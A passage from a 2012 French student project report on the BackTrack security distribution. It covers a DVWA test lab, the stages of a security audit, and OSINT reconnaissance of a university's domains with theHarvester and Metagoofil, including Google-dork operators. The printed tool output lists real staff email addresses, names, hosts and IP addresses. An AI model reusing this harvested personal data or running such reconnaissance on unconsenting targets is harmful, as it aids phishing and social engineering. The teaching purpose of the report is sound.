Rapport

Transcription

Rapport
Rapport du projet ”Backtrack”
Projet M1 en Informatique
Auteurs :
Dumitrescu Andrei
El Raousti Habib
Encadrant :
Rojat Antoine
24 mai 2012
Sommaire
Introduction
1
Organisation
2
Outils et logiciels utilisés . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Mise en place d’un laboratoire de tests d’intrusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
DVWA - Damn Vulnerable Web Application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
2
3
Dictionnaire Backtrack
5
Audit de sécurité
6
Collecte d’informations
OSINT (open source intelligence) . . . . . . . . . . . . . .
Récolte des adresses e-mail et des noms d’utilisateurs
Extraction de méta-données des documents . . . . .
Techniques non-intrusives de reconnaissance . . . . . . . .
Énumération DNS . . . . . . . . . . . . . . . . . . .
Passive Fingerprinting . . . . . . . . . . . . . . . . .
Détection du framework Web . . . . . . . . . . . . .
Reconnaissance active . . . . . . . . . . . . . . . . . . . .
Balayage des ports . . . . . . . . . . . . . . . . . . .
Banner grabbing . . . . . . . . . . . . . . . . . . . .
Détection de Web Application Firewall (WAF) . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
8
8
8
10
12
12
15
16
18
18
21
22
Identification des vulnérabilités
Proxy d’interception . . . . . . . . . . . . . . . .
SQL Injection . . . . . . . . . . . . . . . . . . . .
XSS - Cross-site scripting . . . . . . . . . . . . .
Inclusion de fichiers . . . . . . . . . . . . . . . .
Analyse des cookies de sessions . . . . . . . . . .
Scanneur de vulnérabilités des applications Web
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
24
25
27
31
35
38
41
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Conclusion
44
Liste des figures
45
Références bibliographiques
46
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Introduction
Le développement sans précédent de nouvelles technologies de l’information et de la communication a également
fait apparaı̂tre de nouveaux risques en terme de sécurité pour tous ceux qui en dépendent. Comme le montrent les
événements de ces dernières années, les attaques sur la sécurité informatique sont faites par des communautés de hackers
contre les entreprises ou par des ≪menaces persistantes avancées≫ (en anglais : Advanced Persistent Threat) contre
les gouvernements des pays. Parallèlement à l’augmentation des attaques, une industrie de la sécurité informatique
s’est développé offrant des solutions pour protéger les compagnies et les institutions gouvernementales.
Puisque aujourd’hui l’Internet fait partie du quotidien d’un grand nombre de personnes, beaucoup d’entreprises ont
décidé d’avoir une présence en ligne et donc de créer un lien entre leur réseau interne et le monde de l’Internet. Ainsi
la plupart des attaques informatiques se font par le biais des sites Web ou des applications Web de l’entreprise, en
exploitant les failles de sécurité des technologies d’information mises en place. Pour se protéger les compagnies ont
choisi de faire appel aux experts dans l’industrie de la sécurité informatique pour régulièrement faire des audits de
sécurité de leurs infrastructures, c’est-à-dire : identifier des vulnérabilités, les corriger et recommencer.
Dans le cadre d’un audit de sécurité, les testeurs utilisent souvent des logiciels spécifiques et pour cela une distribution
Linux a été créée sous le nom de Backtrack, réunissant les plus importantes outils pouvant aider dans un audit.
Les objectifs de ce projet sont alors d’analyser et décrire les outils présents dans la distribution Backtrack et de
proposer un protocole d’audit concret basé sur ces outils. Pour cela le travail réalisé consiste en la création d’un
dictionnaire des outils de Backtrack et la définition des étapes d’un audit de sécurité en illustrant leur déroulement
avec des outils disponibles dans Backtrack. Comme l’audit est un processus complexe qui peut comporter des actions
en plus des tests sur les technologies mises en place, nous avons décrit les parties principales d’un audit et ensuite
nous nous sommes concentrés sur les aspects techniques de deux étapes importantes, la collecte d’informations sur la
cible et l’identification des failles de sécurité en utilisant ces informations.
Les cibles de nos tests ont été : les sites Web de l’université, pour la étape de collecte d’information, et l’application
Web appelée Damn Vulnerable Web Application, mise en place sur un réseau de machines virtuelles, pour l’étape
d’identification des vulnérabilités.
page 1 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Organisation
Outils et logiciels utilisés
Backtrack est une distribution du système d’exploitation Linux créée spécifiquement pour les évaluateurs de la sécurité
informatique. Apparue en 2004, elle représente la fusion des deux distributions Linux, WHAX et Auditor Security
Collection, qui ont offert des outils de sécurité pour faire des tests d’intrusion. La derniere version, Backtrack 5 R2,
réunit plus de quatre cents outils qui peuvent aider dans l’effectuation des audits de sécurité ou des investigations
numériques (en anglais : ≪digital forensics≫). Elle se base sur une version modifiée de Ubuntu Linux, avec un noyau
personnalisé, et inclut de manière sélective les mises à jour des paquets à partir du depôt Ubuntu, en les testant avant de
les mettre à la disposition des utilisateurs Backtrack. Sur le wiki de la page oficielle (http://www.backtrack-linux.
org/) sont disponibles quelques tutoriels concernant l’installation et l’utilisation des certains outils.
Dans notre projet on a utilisé la derniere version, Backtrack 5 R2, lancée le 1er Mars 2012, et téléchargeable gratuitement à : http://www.backtrack-linux.org/downloads/
Pour rédiger tous les documents de notre projet et la présentation, on a utilisé le système et le langage Latex. Nos
coordonnateurs ont mis à notre disposition des modèles pour le rapport et pour la présentation, qu’on a ensuite modifié,
en ajoutant des paquets spécifiques Latex dont on a eu besoin.
Sur le site http://gide.prism.uvsq.fr/redmine on a pu utilisé Redmine, une application Web libre pour la gestion
des projets, qui a intégré un serveur SVN. Nous avons collaborer grace au système de gestion des versions de nos
fichiers, SVN, qu’on a utilisé de manière intensive.
Pour la gestion des machines virtuelles utilisées on a installé VirtualBox, le logiciel de virtualisation des systèmes
d’exploitation et ordinateurs, et pour l’application Web à tester on a utilisé Damn Vulnerable Web Application
(DVWA), dont une version ISO est téléchargeable à : http://www.dvwa.co.uk/DVWA-1.0.7.iso.
Mise en place d’un laboratoire de tests d’intrusion
La mise en place d’un laboratoire de test pour mettre en pratique les concepts et les techniques de la sécurité informatique est très recommandé, et on dispose de beaucoup des choix en termes de systèmes d’exploitation, de suites
d’outils et de configurations possibles. Une excellente liste qui rassemble un grand nombre de ces outils est : http://
g0tmi1k.blogspot.fr/2011/03/vulnerable-by-design.html.
Dans notre projet on a choisi de télécharger Backtrack 5 R2 et une image ISO d’un système d’exploitation équipé avec
l’application Web DVWA, et de les mettre en réseau en utilisant VirtualBox.
Dans VirtualBox on crée une nouvelle machine virtuelle sans disque dur, et on choisit dans le menu Settings ->
Storage comme ”Live CD” l’image DVWA qu’on vient de télécharger. Comme ça les modifications qu’on pourrait faire
à l’application Web ne sont pas prises en compte, parce que à chaque redémarrage le système d’exploitation est lu
depuis l’image ISO de la Damn Vulnerable Web Application (DVWA) :
VirtualBox possède plusieurs moyens pour créer un réseau entre ses machines virtuelles, dont on a utilisé ce qui prend
le moins de configuration, c’est-à-dire ≪Bridged≫. On choisit cette option dans le menu Settings -> Network pour
page 2 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
chaque machine virtuelle, avec la même interface de réseau :
Il faut s’assurer que la machine hôte est connectée à un réseau (sur l’interface eth0 dans cet exemple), parce que
VirtualBox va essayer de mettre les deux machines virtuelles sur le même réseau comme la machine hôte, donc il faut
avoir des liens entre les trois machines. Les machines virtuelles vont prendre des adresses IP temporaires depuis un
serveur DHCP, sans qu’on ait besoin de les configurer manuellement.
DVWA - Damn Vulnerable Web Application
DVWA est l’application Web sur laquelle nous allons effectuer les tests de sécurité, créée spécialement pour cela. Elle
contient plusieurs pages vulnérablés, chacune étant créée pour illustrer une certaine attaque sur l’application Web,
comme : les injections SQL, les attaques XSS reflété et permanent, les attaques par force-brute sur les mots de passe
faibles, l’exécution des commandes d’un adversaire sur le serveur Web, les attaques CSRF etc.
La première page de DVWA nous montre le mécanisme de authentification HTTP :
On voit les champs ”Username” et ”Password” ; puisque c’est une application ≪vulnérable≫ le nom d’utilisateur
est ”admin” et le mot de passe est ”password”. On se connecte et on voit les pages disponibles dans le menu à la
gauche.
L’application possède aussi un moyen de changer le niveau générale de sécurité de l’application en trois valeurs, ≪low≫,
≪medium≫ et ≪high≫, ce que met en place de plus en plus des mesures de sécurité pour chaque page vulnérablé au
début. Par exemple, pour la page de XSS permanent (≪XSS reflected≫ dans le menu à la gauche), au niveau le plus bas,
page 3 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
aucun caractère n’est pas filtré par le serveur, au niveau ≪medium≫ il filtre seulement la balise <script> et au niveau
≪high≫ il filtre toute la chaı̂ne de caractères reçue de l’utilisateur, avec la fonction PHP htmlspecialchars(). Nous
changeons le niveau de sécurité en ≪low≫ pour faire nos tests dans la section Identification des vulnérabilités :
page 4 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Dictionnaire Backtrack
Dans le dictionnaire Backtrack le lecteur peut trouver des informations sur les outils présents dans les menus Backtrack
et sur les outils qu’on a utilisé dans les sections suivantes, celui-ci étant organisé selon les champs suivants :
1. Fonction
Dans ce champ on trouve un coup d’oeil rapide dans la fonction principale d’outil.
2. Description
Dans ce champ on a un résumé des principales action que l’outil peut faire, en précisant aussi les différences par
rapport à d’autres outils similaires.
3. Documentation
On a mis la meilleure source de documentation trouvée pour l’outil : une page du manuel Linux, un fichier
README dans le répertoire de l’outil ou le site Web du créateur.
4. Lancement
Ici on trouve la(les) commande(s) nécessaire(s) pour lancer l’outil avec des options minimales.
5. Outils similaires
On mentionne tous les outils qui ont la même fonction générale comme l’outil traité, dans le cas où ils existent.
6. Mots clés
Les mots clés servent à guider le lecteur pour qu’il trouve tous les outils qui correspondent aux noms d’attaques
souvent rencontrées, aux concepts/opérations de sécurité, aux noms de protocoles traités et ainsi de suite.
Dans le dictionnire nous avons aussi marqué en rouge les outils pour faire les attaques, et en vert les outils d’analyse.
On a gardé le même code de couleurs pour le document d’audit de sécurité.
page 5 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Audit de sécurité
Dans le cadre de l’industrie de sécurité informatique, l’audit de sécurité représente un processus complexe, qui est fait
dans les limites strictes d’un contrat entre l’entreprise qui souhaite auditer ses systèmes d’informations et la compagnie
de testeurs. Il faut faire une distinction claire entre ≪penetration testing≫ (en français : faire les tests d’intrustion)
et un audit de sécurité, parce que ce dernier et plus complexe et contient la partie de tests d’intrusion dans ses
étapes.
Selon [owa08] : ≪Un test d’intrusion est une méthode d’évaluation de la sécurité d’un système de calcul ou d’un
réseau en simulant une attaque. [...] Le processus implique une analyse active de l’application pour toutes faiblesses,
failles techniques ou vulnérabilités. Tous les problèmes de sécurité trouvés seront présentés au propriétaire du système,
avec une évaluation de leur impact et souvent avec une proposition de mesures d’atténuation ou une solution technique.≫ (traduit de l’anglais).
Un audit de sécurité peut se décomposer en plusieurs étapes :
1. Activités de pre-engagement et définitions des champs d’action
L’étape de début d’un audit de sécurité consiste de préciser de manière exacte ce qui doit être testé et comment
on peut exécuter ces tests. C’est-à-dire on détermine les ressources ciblées de l’entreprise (quels réseaux, quelles
applications Web) et on spécifie clairement les limites des tests et les actions qu’on a le droit d’exécuter, sans
depasser ce qui est spécifié dans le contrat entre l’entreprise et la compagnie de sécurité. À cet stage on peut
aussi faire l’estimation du temps de l’audit de sécurité, définir les modalités de paimenet et prévoir les actions à
suivre dans les situations exceptionnelles.
2. Collecte d’informations
La partie de collecte d’informations est le processus de trouver d’autant d’informations que possible sur l’organisation cible, avec le but d’utiliser ces informations dans le étapes d’identification de vulnérabilités et exploitation
des failles. Souvent cette étape est faite du rôle d’un adversaire, depuis l’extérieur de l’entreprise, mais celle-ci
peut aussi donne l’autorisation de tester les réseaux internes ou de conduire des interviews avec les employées.
Dans cette étape on essaie de trouver d’informations sur l’entreprise et ses partenariats, sur les chefs et les
employés liés à la sécurité, sur la présence Internet de ceux-ci, sur l’infrastructure de réseau utilisée, sur les
applications Web, les services ou les logiciels utilisés ou produits par la société et ainsi de suite.
3. Modélisation des menaces
La création d’un modèle pour décrire les ressources de l’entreprise et les adversaires possibles est une étape
très importante pour savoir ce qui devrait être protégé et qui voudrait l’attaquer. Premièrement l’objectif est
de faire une analyse de l’entreprise d’un point de vue de ses actifs, et ensuite de déterminer les personnes ou
les communautés intéressées, même au sein de l’entreprise, de faire une analyse de leurs motivations et de leurs
capacités de faire une attaque.
4. Identification des vulnérabilités
Dans cette étape on fait des tests pour trouver les failles de sécurité des systèmes de l’entreprise qui peuvent
être exploitées par un adversaire. Il s’agit de simuler des attaques pour trouver les vulnérabilités et de voir dans
quelles conditions elles peuvent être exploitées. Souvent on utilise des outils qui automatisent le travail, mais
on fait aussi des tests manuellement : une vulnérabilité doit être validée, donc il est conseillé d’avoir plusieurs
confirmations de notre découverte. Pour la valider on peut aussi chercher sur les sites Web qui gérent des bases
de données avec des vulnérabilités pour des versions spécifiques des logiciels.
5. Exploitation des failles
L’exploitation des failles de sécurité peut se faire de manière précise si les vulnérabilités ont été bien déterminées
dans l’étape précédente. L’objectif est de depasser les réstrictions et les contre-mesures mises en place pour
mettre en évidence les points d’entrée dans les systèmes de l’entreprise. Ainsi on peut voir quelles sont les plus
importantes vulnérabilités et quelles sont les consequences de leur exploitation.
page 6 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
6. Maintien de l’accès
L’étape de maintien de l’accès se réfère à les actions à faire après la phase d’exploitation des failles. Le but est de
déterminer la valeur de la machine compromise et de mettre en place les moyens pour maintenir la communication
avec cette machine. On peut analyser les préjudices possibles qui peuvent se produire à partir de cette machine
et de voir si cela donne accès à d’autres routes vers des cibles aussi intéressantes.
7. Élaboration des rapports
À la fin du processus formel de l’audit de sécurité il faut élaborer des rapports qui seront utiles pour le client, en
lui décrivant les objectifs, les méthodes et les résultats de l’audit de sécurité. Pour chaque vulnérabilité trouvée
il faut préciser les causes et les recommandations pour les améliorer ; les failles de sécurité doivent aussi être
classées selon leur niveau de risque.
Cette liste est inspiré par : http://www.pentest-standard.org/, une oeuvre de collaboration de plusieurs professionnels de la sécurité qui, malgré son nom, est une bonne ressource pour délimiter un audit de sécurité.
Nous allons nous concentrer sur les aspects techniques des étapes de la collecte d’informations et identification des
vulnérabilités, en illustrant chaque concept avec des exemples d’outils qui Backtrack met à notre disposition.
page 7 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Collecte d’informations
La partie de collecte d’informations d’un audit de sécurité représente la reconnaissance faite avant de démarrer les
étapes d’identification de vulnérabilités et d’exploitation des failles sur la cible. Elle comporte les actions de sélection
de la cible, d’effectuer une reconnaissance secrète ou par OSINT (open-source intelligence) et HUMINT (human
intelligence) sur la cible, et la prise d’empreintes des services et systèmes liés à la cible.
Nous allons traiter les aspects techniques de ces étapes et faire la reconnaissance d’un point de vue externe de
l’organisation, pour avoir une idée sur comment un adversaire peut la voit. On va voir comment on peut utiliser
Backtrack pour trouver d’informations par les sources ouvertes de renseignement (OSINT), par les services ouvertes
(comme DNS) ou en interagissant directement avec la cible, dans le cadre d’une reconnaissance active. Ainsi on aura
un grand nombre d’informations sur la sur la compagnie et ses employés, sur son présence Internet, sur les services,
les logiciels, les applications Web utilisées et les réseaux informatiques avec les machines qui sont attachés à ces
réseaux.
OSINT (open source intelligence)
OSINT (en français le renseignement de sources ouvertes) est une première étape dans la partie de collecte d’informations sur la cible de l’audit de sécurité, qui consiste à utiliser des informations accessibles au public pour créer un
profile de l’organisation cible et pour pouvoir découvrir les premiers points d’entrée dans le système.
La structure organisationnelle, les personnes employées ou liées à l’organisation et leurs rôles, leurs numéros de
téléphone, leurs adresses physiques et e-mail, leur présence en ligne sur les réseaux sociaux et les forums, toutes
ces informations peuvent être utilisées pour construire une attaque, par exemple au début des attaques qui utilisent un
artifice de l’ingénierie sociale. Pour collecter les informations on peut utiliser des moteurs de recherche comme Google
(une technique appelée ≪Google hacking≫), des services Linux comme whois, dig ou des outils qui automatisent ces
actions et en ajoutent d’autres, comme celles de la distribution Linux Backtrack 5 R2. Dans ce qui suit, on va présenter
quelques outils de Backtrack qui peuvent nous aider dans le processus de trouver et extraire des informations sur une
cible de sources disponibles publiquement.
La plupart des outils qu’on va voir dans cette section utilisent ce qu’on appelle le ≪Google hacking≫. Comme décrit
dans [ALL08], le moteur de recherche Google permet de faire bien plus que de la simple recherche de mot, de récupérer
furtivement des informations sur une cible et cela de manière quasi transparente.
Dans la pratique, Google hacking consiste a entrer des requêtes spéciales dans le moteur de recherche, parmi lesquelles :
– site:uvsq.fr - permet faire la recherche seulement sur les pages d’un site passé en argument.
– cache:uvsq.fr - cherche le site ≪uvsq.fr≫ dans le cache de Google ; cette option est surtout utilisée pour visiter
discrètement un site.
– intitle:uvsq - permet de chercher le texte ≪uvsq≫ qui se trouve entre les balises <title></title> d’une page HTML.
– inurl:admin - permet de chercher un site internet dont l’URL contient le mot ≪admin≫.
– filetype:pdf ou ext:pdf - retourne les pages contenant un lien vers un fichier du type mentionné en argument.
Les chaı̂nes des caractères comme inurl:search.php, qui permet de rassembler vite avec Google beaucoup des sites qui
utilisent une même fonctionnalité, comme un formulaire de recherche, sont souvent appelées ≪Google dorks≫, et le
processus de trouver et utiliser ces résultats s’appelle ≪Google dorking≫.
Récolte des adresses e-mail et des noms d’utilisateurs
Dans l’étape de découverte de la présence d’une organisation sur Internet, faire la récolte des adresses e-mails est
souvent très important, parce que un adversaire peut les utiliser pour faire des attaques brute-force ou pour envoyer
des messages spam personnalisés pour le possesseur de l’adresse, qui contiennent du code malveillant pour exploiter
les vulnérabilités sur son système. En plus, trouver les noms d’utilisateur sur les réseaux sociaux en ligne des employés
d’une entreprise peut donner beaucoup de détails sur leurs intérêts, leur poste de travail, leur localisation et peut
conduire à une attaque par l’ingénierie sociale.
COLLECTE D’INFORMATIONS
page 8 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
TheHarvester
TheHarvester est un outil spécialisé pour automatiser les techniques de Google hacking et il étend le concept pour
d’autres moteurs de recherche comme Bing et Exalead. Il utilise les APIs ou les paramètres GET pour interroger les
serveurs de clés publiques PGP, la base de données SHODAN, les réseaux sociaux comme LinkedIn ou les profiles
Google. En exécutant l’outil TheHarvester sur le nom de domaine ≪prism.uvsq.fr≫ on obtient :
r o o t @ b t : / p e n t e s t / e n u m e r a t i o n / t h e h a r v e s t e r# . / t h e H a r v e s t e r . py −d prism . u v s q . f r −b g o o g l e −h −v
∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗
∗ T h e H a r v e s t e r Ver . 2 . 1 ( r e b o r n )
∗
∗ Co d ed b y C h r i s t i a n M a r t o r e l l a
∗
∗ Edge− S e c u r i t y R e s e a r c h
∗
∗ c m a r t o r e l l a @ e d g e − s e c u r i t y . com
∗
∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗
[ −] S e a r c h i n g i n G o o g l e :
Searching 0 r e su l t s . . .
S e a r c h i n g 100 r e s u l t s . . .
[+] Emails found :
−−−−−−−−−−−−−−−−−−
[...]
stephane . l opes @pri sm . uvsq . f r
devan . s o h i e r @ p r i s m . uvsq . f r
sana . younes@prism . uvsq . f r
rouca i rog@pris m . uvsq . f r
[+] Hosts found in s e a r c h e n g i n e s :
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
1 9 3 . 5 1 . 2 5 . 1 9 7 : www . p r i s m . u v s q . f r
193.51.25.188: c a s s i o p e e . prism . uvsq . f r
193.51.25.9: torquenada . prism . uvsq . f r
[...]
[ + ] P r o p o s e d SET
−−−−−−−−−−−−−−−
[]
[+] V i r t u a l h o st s :
==================
1 9 3 . 5 1 . 2 5 . 1 9 7 : www . p r i s m . u v s q . f r
1 9 3 .5 1 .2 5 . 1 9 7 : master −i r s . pr i sm . uvsq . f r
1 9 3 . 5 1 . 2 5 . 1 9 7 : www . m a s t e r − s e c r e t s . u v s q . f r
[...]
1 9 3 .5 1 .2 5 . 1 7 3 : bobpp . p r i s m . uvs q . f r
1 9 3 . 5 1 . 2 5 . 1 : www . 1 a n d 1 . f r
[+] Shodan D a t a b a s e s e a r c h :
S e a r c h i n g f o r : 1 9 3 . 5 1 . 2 5 . 1 9 7 : www . p r i s m . u v s q . f r
S e a r c h i n g for : 1 9 3 . 5 1 . 2 5 . 1 8 8 : c a s s i o p e e . p r i s m . u vs q . f r
[...]
S e a r c h i n g for : 1 9 3 . 5 1 . 2 5 . 1 7 3 : bobpp . p r i s m . u vs q . f r
S e a r c h i n g f o r : 1 9 3 . 5 1 . 2 5 . 1 : www . 1 a n d 1 . f r
[+] Shodan r e s u l t s :
===================
On a déjà une liste avec les adresses e-mails, mais en plus theHarvester nous montre aussi les noms d’hôtes trouvés
dans les résultats Google, et en lui donnant l’option -v il fait une résolution DNS et il essaie de trouver les hôtes
virtuels sur la même adresse IP. Avec l’option -h on interroge la base de données SHODAN.
En exécutant l’outil avec l’option de chercher dans les serveurs de clé PGP, on obtient :
r o o t @ b t : / p e n t e s t / e n u m e r a t i o n / t h e h a r v e s t e r# . / t h e H a r v e s t e r . py −d prism . u v s q . f r −b pgp
[...]
[ −] S e a r c h i n g
i n PGP k e y
server ..
[+] Emails found :
−−−−−−−−−−−−−−−−−−
a nt oi ne . r oja t @pr i s m . uvsq . f r
hpc@prism . uvsq . f r
dntt@prism . uvsq . f r
COLLECTE D’INFORMATIONS
page 9 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
On peut spécifier le nom d’une entreprise et voir quels sont les profiles LinkedIn qui lui sont associés :
r o o t @ b t : / p e n t e s t / e n u m e r a t i o n / t h e h a r v e s t e r# . / t h e H a r v e s t e r . py −d B l u e M a t r ix −b l i n k e d i n
[...]
[ −] S e a r c h i n g i n L i n k e d i n . .
U sers from L i n k e d i n :
====================
Tammy Huang − C h i n a
Yogesh P a i t h a n k a r
Samantha D o l a n − U n i t e d Kingdom
S t e p h e n M c n a l l y − G r e a t e r New Y o r k C i t y
[...]
Area
Extraction de méta-données des documents
On peut faire une recherche avec Google pour localiser différentes ressources d’une compagnie sur le Web telles que des
documents PDF, Word etc. On pourra les exploiter directement ou en extraire des meta-données qui peuvent fournir
des informations telles que l’auteur/créateur, le logiciel utilisé et sa version, la date et l’heure de création, les normes
utilisées, la localisation dans un réseau informatique (imprimante/dossier/répertoire chemin), géo-tagging etc. Pour
une image il peuvent même nous donner les coordonnées et les informations de localisation.
Une extraction des meta-données est possible en utilisant des outils adaptés présents sur Backtrack comme Metagoofil.
Metagoofil
C’est un outil conçu pour extraire les méta-données de fichiers d’extensions .doc, .xls, .ppt, .pdf etc.
La puissance de cet outil est qu’il fait une recherche des documents publics en ligne grâce à Google. Il montre les
résultats sous forme d’un rapport sur les informations qu’ils contiennent.
Ces informations comme des noms de personnes, des dates de créations, des versions de logiciels qui sont facilement
accessible, peuvent donner des indications sur le personnel de l’entreprise ce qui pourraient très bien servir à un
attaquant potentiel.
Ci-dessous on exécute l’outil metagoofil sur le nom de domaine ”uvsq.fr” (option -d), en lui demandant d’explorer
les documents avec l’extension ”.doc” et .”pdf” (option -t), en limitant la recherche a 20 documents (option -l), qu’il
téléchargera par la suite (option -n). Les documents téléchargés seront stockés dans le répertoire ”resultats scan”
(option -o) sous forme d’une page html ”resultats.html” (option -f).
COLLECTE D’INFORMATIONS
page 10 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
r o o t @ b t : / p e n t e s t / e n u m e r a t i o n / g o o g l e / m e t a g o o f i l# . / m e t a g o o f i l . py −d u v s q . f r −t doc , p d f − l 20 −n 20 −o / r o o t /
Desktop / r e s u l t a t s s c a n −f / r o o t / Desktop / r e s u l t a t s . html
∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗
∗ M e t a g o o f i l Ver 2 . 1 −
∗
∗ Christian Martorella
∗
∗ Edge− S e c u r i t y . com
∗
∗ c m a r t o r e l l a a t e d g e − s e c u r i t y . com ∗
∗ Blackhat Arsenal Edition
∗
∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗ ∗∗ ∗∗ ∗∗ ∗ ∗∗
[ −] S t a r t i n g
online
search . . .
[ −] S e a r c h i n g for doc f i l e s , w i t h a l i m i t
S e a r c h i n g 100 r e s u l t s . . .
R e s u l t s : 101 f i l e s f o u n d
S t a r t i n g t o d o w n l o a d 20 o f th em :
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
o f 20
[ 1 / 2 0 ] / s u p p o r t / w e b s e a r c h / b i n / a n s w e r . p y ? a n s w e r =186645&amp ; f o r m=bb&amp ; h l=e n
E r r o r d o w n l o a d i n g / s u p p o r t / w e b s e a r c h / b i n / a n s w e r . p y ? a n s w e r =186645&amp ; f o r m=bb&amp ; h l=e n
[ 2 / 2 0 ] h t t p : / /www . p h y s i q u e . u v s q . f r / s t a t u t s . d o c
[...]
[ −] S e a r c h i n g for p d f f i l e s , w i t h a l i m i t
S e a r c h i n g 100 r e s u l t s . . .
R e s u l t s : 103 f i l e s f o u n d
S t a r t i n g t o d o w n l o a d 20 o f th em :
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
o f 20
[ 1 / 2 0 ] / s u p p o r t / w e b s e a r c h / b i n / a n s w e r . p y ? a n s w e r =186645&amp ; f o r m=bb&amp ; h l=e n
E r r o r d o w n l o a d i n g / s u p p o r t / w e b s e a r c h / b i n / a n s w e r . p y ? a n s w e r =186645&amp ; f o r m=bb&amp ; h l=e n
[ 2 / 2 0 ] h t t p : / /www . q u a l u b . u v s q . f r /PDF/ c i r c u l a i r e a p p r e n t i s s a g e . p d f
[...]
[+] L i s t of u s e r s found :
−−−−−−−−−−−−−−−−−−−−−−−−−−
dahoo
Stephanie
iut rambouillet
I u l i a n Sa n d u Popa , K a r i n e Z e i t o u n i ,
Vinc e nt Oria ,
Dominique Barth ,
Sandrine
Vial
[...]
[+] L i s t of s o f t w ar e found :
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
M i c r o s o f t O f f i c e Word
Microsoft Excel
PDFCREATOR V e r s i o n 0 . 8 . 0
[...]
[ + ] L i s t o f p a t h s and s e r v e r s f o u n d :
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Normal
’ C : \ Mes d o c u m e n t s \GdR\ D o c u m e n t S c i e n t i f i q u e \ D o c S c i e n t \ PRESENTATION Abregee . d o c ’
’ C : \ Mes D o c u m e n t s \GdR\ PRESENTATION Abregee . d o c ’
’ C : \WINDOWS\TEMP\ E n r e g i s t r e m e n t a u t o m a t i q u e d e P R E S E N T A T I O N A b r e g e e . a s d ’
[...]
[ + ] L i s t o f e−m a i l s f o u n d :
−−−−−−−−−−−−−−−−−−−−−−−−−−−−
yasser . alayli@uvsq . fr
sfayad@hotmail . f r
j u l i e n . b a r j o n @ c nr s −b e l l e v u e . f r
[...]
COLLECTE D’INFORMATIONS
page 11 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Techniques non-intrusives de reconnaissance
Il existe plusieurs méthodes pour trouver des informations en plus d’OSINT sans être détecté et sans interagir directement avec la cible. D’abord on peut interroger des services ouverts comme DNS, SMTP, SNMP, on peut faire l’analyse
VPN (Virtual Private Network), on peut intercepter le trafic général entre notre machine et la cible et faire une analyse
de paquets pour déduire les services et les systèmes d’exploitation avec leurs versions (passive fingerprinting) ou suivre
